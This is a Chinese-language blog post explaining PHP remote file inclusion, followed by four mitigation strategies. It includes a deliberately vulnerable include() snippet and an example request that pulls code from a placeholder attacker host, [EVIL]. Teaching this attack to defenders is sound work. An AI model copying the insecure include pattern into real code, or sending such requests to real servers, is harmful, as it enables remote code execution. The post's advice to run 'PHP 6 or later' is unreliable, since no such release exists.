PHP 远程文件包含的介绍和代码防御

来源:互联网 发布:c语言静态局部变量 编辑:程序博客网 时间:2024/06/06 08:31

0x01 介绍

       PHP 应用程序接收到外部输入,但在“require”、“include”或类似函数中使用该输入之前对其进行了错误的限制。在 PHP 的特定版本和配置中,这样就使攻击者能够指定远程位置的 URL,以便使用软件从该位置获取要执行的代码。在其他情况下,攻击者可通过与路径遍历相结合来指定本地文件,其中可能包含 PHP 可以解析的可执行语句。“PHP 远程文件包含”使攻击者能够将其自己的 PHP 代码嵌入到易受攻击的 PHP 脚本中,这可能会导致灾难性的结果,例如使攻击者能够在 Web 服务器上执行远程命令,破坏 Web 站点的某些部分的外观,甚或窃取机密信息。以下 PHP 代码片段演示了简化的“PHP 远程文件包含”脆弱性:

en.php

  <?php  $sentence = "Hello World";  ?>

fr.php

  <?php  $sentence = "Bonjour Monde";  ?>

vuln.php

  <?php  $language = $_GET["language"];  include($language.".php");  echo $sentence;  ?>

    通常,此页面会用于显示欢迎页面。欢迎页面的语言由“language”参数确定。例如,请求 http://[SERVER]/vuln.php?language=en 会返回“Hello World”,而请求 http://[SERVER]/vuln.php?language=fr 会返回“Bonjour Monde”。

      但是,在特定情况下,攻击者能够绕过上述脚本以便损害服务器。例如,发出以下请求将导致在 vuln.php 中包含远程的恶意 PHP 脚本 (http://[EVIL]/malicious.php),:http://[SERVER]/vuln.php?language=http://[EVIL]/malicious

因此,[SERVER] 将执行的 PHP 代码为:

  <?php  $language = $_GET["language"];  [...Malicious PHP code of http://[EVIL]/malicious.php...]  echo $sentence;  ?>

0x02 修复思路

[1] 策略:库或框架

      使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。

[2] 策略:环境固化

    使用完成必要任务所需的最低特权来运行代码。如果可能,请使用仅用于单个任务的有限特权来创建孤立的帐户。这样,即使攻击成功,攻击者也无法立即访问软件或其环境的其余部分。例如,数据库应用程序很少需要以数据库管理员身份运行,特别是在日常操作中。

[3] 策略:输入验证

     假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于将恶意或格式错误的输入加入黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入格式不正确,以致应当将其彻底拒绝。
       执行输入验证时,请考虑所有潜在相关属性,包括长度、输入类型、可接受值的完整范围、缺失或多余输入、语法、跨相关字段的一致性以及业务规则一致性。以业务规则逻辑为例,“boat”可能在语法上有效,因为它仅包含字母数字字符,但如果预期为颜色(如“red”或“blue”),那么它无效。
      对于文件名,请使用限制要使用的字符集的严格白名单。如果可行,请仅允许文件名中出现单个“.”字符以避免 CWE-23 之类的弱点,并排除“/”之类的目录分隔符以避免 CWE-36。请使用允许的文件扩展名的白名单,这有助于避免 CWE-434。

[4] 策略:环境固化

      在 PHP 的最新可用版本(最好是 PHP 6 或更高版本)中开发和运行代码。缺省情况下,已除去、限制或禁用了较早版本 PHP 解释器中的许多高风险功能。请配置您的 PHP 应用程序以使其不使用 register_globals。在实施期间,开发您的应用程序时确保其不会依赖此功能,但需要注意,实施 register_globals 仿真容易受到 CWE-95、CWE-621 之类的弱点及类似问题的影响。通常,程序员不会保护旨在仅由核心程序包含的文件的直接访问。这些包含文件可能假定关键变量已由调用程序初始化。因此,如果在能够直接访问包含文件的情况下使用 register_globals,也许攻击者就能够实施文件包含攻击。截止到 2009 年,这一直是非常常见的模式。请将 allow_url_fopen 设置为 false,这将限制从远程位置包含文件的能力。

欢迎大家分享更好的思路,热切期待^^_^^ !


0 0
原创粉丝点击